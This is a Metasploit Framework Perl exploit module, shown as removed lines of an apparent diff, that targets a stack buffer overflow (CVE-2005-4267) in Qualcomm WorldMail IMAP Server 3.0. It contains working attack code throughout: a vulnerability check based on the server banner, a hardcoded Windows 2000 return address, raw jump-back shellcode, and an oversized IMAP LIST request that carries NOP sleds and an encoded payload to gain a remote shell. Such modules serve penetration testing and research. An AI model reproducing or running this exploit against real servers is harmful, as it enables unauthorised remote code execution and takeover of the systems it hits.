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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::eudora_imap;
- use strict;
- use base 'Msf::Exploit';
- use Msf::Socket::Tcp;
- use Pex::Text;
-
- my $advanced = {
- };
-
- my $info = {
- 'Name' => 'Qualcomm WorldMail IMAPD Server Buffer Overflow',
- 'Version' => '$Revision: 1.2 $',
- 'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000'],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 143],
- },
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 750,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
- },
-
- 'Encoder' =>
- {
- 'Keys' => ['+alphanum'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
- version 3.0 (build version 6.1.22.0).
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '22097'],
- ['CVE', '2005-4267'],
- ['BID', '15980'],
- ],
-
- 'Targets' =>
- [
- ['Windows 2000 Pro English ALL', 0x75022ac4],
- ],
-
- 'DefaultTarget' => 0,
-
- 'Keys' => ['imap'],
-
- 'DisclosureDate' => 'Dec 20 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
-
- return($self);
- }
-
- sub Check {
- my ($self) = @_;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("A023 LOGOUT\r\n");
- my $res = $s->Recv(-1, 20);
- $s->Close();
-
- if ($res !~ /WorldMail 3 IMAP4 Server 6\.1\.22\.0 ready/) {
- $self->PrintLine("[*] This server does not appear to be vulnerable.");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("[*] Vulnerable installation detected :-)");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $targetIndex = $self->GetVar('TARGET');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $shellcode = $encodedPayload->Payload;
- my $target = $self->Targets->[$targetIndex];
-
- my $sock = Msf::Socket::Tcp->new(
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- );
-
- if($sock->IsError) {
- $self->PrintLine('Error creating socket: ' . $sock->GetError);
- return;
- }
-
- my $resp = $sock->Recv(-1, 3);
- chomp($resp);
- $self->PrintLine('[*] Got Banner: ' . $resp);
- my $resp = $sock->Recv(-1, 3);
- if($sock->IsError) {
- $self->PrintLine('Socket error: ' . $sock->GetError);
- return;
- }
-
- $self->PrintLine('[*] Sending overflow...');
-
- my $jmpback =
- "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28".
- "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d".
- "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b";
-
- my $sploit =
- "a001 LIST ". $self->MakeNops(20). $shellcode.
- "\xeb\x06\x46\x92". pack('V', $target->[1]). $self->MakeNops(8).
- $jmpback. $self->MakeNops(40). "}". "\r\n";
-
- $sock->Send($sploit);
-
- my $resp = $sock->Recv(-1, 3);
- if(length($resp)) {
- $self->PrintLine('[*] Got response, bad: ' . $resp);
- }
-
- $self->Handler($sock);
- $sock->Close();
- return;
- }
-
- 1;
-